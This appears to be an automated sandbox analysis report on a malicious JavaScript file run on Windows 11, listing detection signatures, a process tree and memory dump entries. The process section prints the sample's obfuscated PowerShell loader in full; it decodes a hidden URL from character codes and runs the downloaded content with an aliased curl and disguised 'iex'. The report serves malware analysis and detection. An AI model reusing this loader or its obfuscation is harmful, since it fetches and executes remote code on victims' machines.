Analysis
- max time kernel
149s - max time network
110s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
12/09/2026, 11:16
General
- Target jaffacakes118_7cd2d9fa69aa71677bace81051b07475f26cd0fef7ad3fe7249959b986c7e1d0.js
- Size 199KB
- Sample260912-ndek3aae88
- SHA256 7cd2d9fa69aa71677bace81051b07475f26cd0fef7ad3fe7249959b986c7e1d0
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_7cd2d9fa69aa71677bace81051b07475f26cd0fef7ad3fe7249959b986c7e1d0.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $odbqvgaxy='ur' ;new-alias printout c$($odbqvgaxy)l;$kocgpyfdbjva=(8388,8400,8412,8411,8391,8409,8406,8404,8391,8407,8393,8388,8394,8388,8409,8336,8406,8401,8402,8337,8339,8336,8402,8394,8402,8353,8405,8351,8399,8395,8400,8406,8405,8340,8339);$jidheqycrpngvm=('bronx','get-cmdlet');$dpywvjo=$kocgpyfdbjva;foreach($neqhbd in $dpywvjo){$zipoluxwte=$neqhbd;$cvyxshjudnbzl=$cvyxshjudnbzl+[char]($zipoluxwte-8290);$lqapjustcmbxfv=$cvyxshjudnbzl; $sjmieywncp=$lqapjustcmbxfv};$urspdm[2]=$sjmieywncp;$gayrpueq='rl';$rndvhlbszym=1;.$([char](9992-9887)+'e'+'x')(printout -useb $sjmieywncp)1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $odbqvgaxy='ur' ;new-alias printout c$($odbqvgaxy)l;$kocgpyfdbjva=(8388,8400,8412,8411,8391,8409,8406,8404,8391,8407,8393,8388,8394,8388,8409,8336,8406,8401,8402,8337,8339,8336,8402,8394,8402,8353,8405,8351,8399,8395,8400,8406,8405,8340,8339);$jidheqycrpngvm=('bronx','get-cmdlet');$dpywvjo=$kocgpyfdbjva;foreach($neqhbd in $dpywvjo){$zipoluxwte=$neqhbd;$cvyxshjudnbzl=$cvyxshjudnbzl+[char]($zipoluxwte-8290);$lqapjustcmbxfv=$cvyxshjudnbzl; $sjmieywncp=$lqapjustcmbxfv};$urspdm[2]=$sjmieywncp;$gayrpueq='rl';$rndvhlbszym=1;.$([char](9992-9887)+'e'+'x')(printout -useb $sjmieywncp)2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1800-0-0x00007FFE7C94F000-0x00007FFE7C950000-memory.dmp
memory/1800-1-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-4-0x000001CA6C940000-0x000001CA6C962000-memory.dmp
memory/1800-5-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-6-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-7-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-8-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-9-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-10-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-11-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-12-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-13-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-14-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-15-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-16-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-17-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp
memory/1800-19-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp